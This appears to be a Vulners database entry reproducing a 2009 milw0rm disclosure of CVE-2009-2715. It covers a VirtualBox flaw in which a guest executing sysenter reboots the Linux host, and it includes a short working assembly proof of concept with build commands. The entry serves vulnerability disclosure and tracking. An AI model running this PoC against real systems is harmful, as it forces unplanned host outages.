Vulners
Lucene search
Sun xVM VirtualBox 2.2 < 3.0.2 r49928 - Local Host Reboot (Denial of Service) (PoC)
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2009-2715 | 1 Aug 200900:00 | – | circl |
 | CVE-2009-2715 | 7 Aug 200918:33 | – | cve |
 | CVE-2009-2715 | 7 Aug 200918:33 | – | cvelist |
 | EUVD-2009-2706 | 7 Oct 202500:30 | – | euvd |
 | CVE-2009-2715 | 7 Aug 200919:00 | – | nvd |
 | Design/Logic Flaw | 7 Aug 200919:00 | – | prion |
 | SUSE CVE-2009-2715 | 15 Feb 202306:03 | – | susecve |
 | CVE-2009-2715 | 7 Aug 200919:00 | – | ubuntucve |
 | Sun xVM VirtualBox < 3.0.4 Multiple Local Denial of Service Vulnerabilities | 11 Aug 200900:00 | – | nessus |
Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <[email protected]>
Disclosure made at 2009-08-01
VULNERABILITY INFORMATION
Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux
VULNERABILITY DESCRIPTION
VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.
POC
; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot
BITS 32
SECTION .text
GLOBAL main
main:
sysenter
ret
# milw0rm.com [2009-08-01]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.9
EPSS0.01107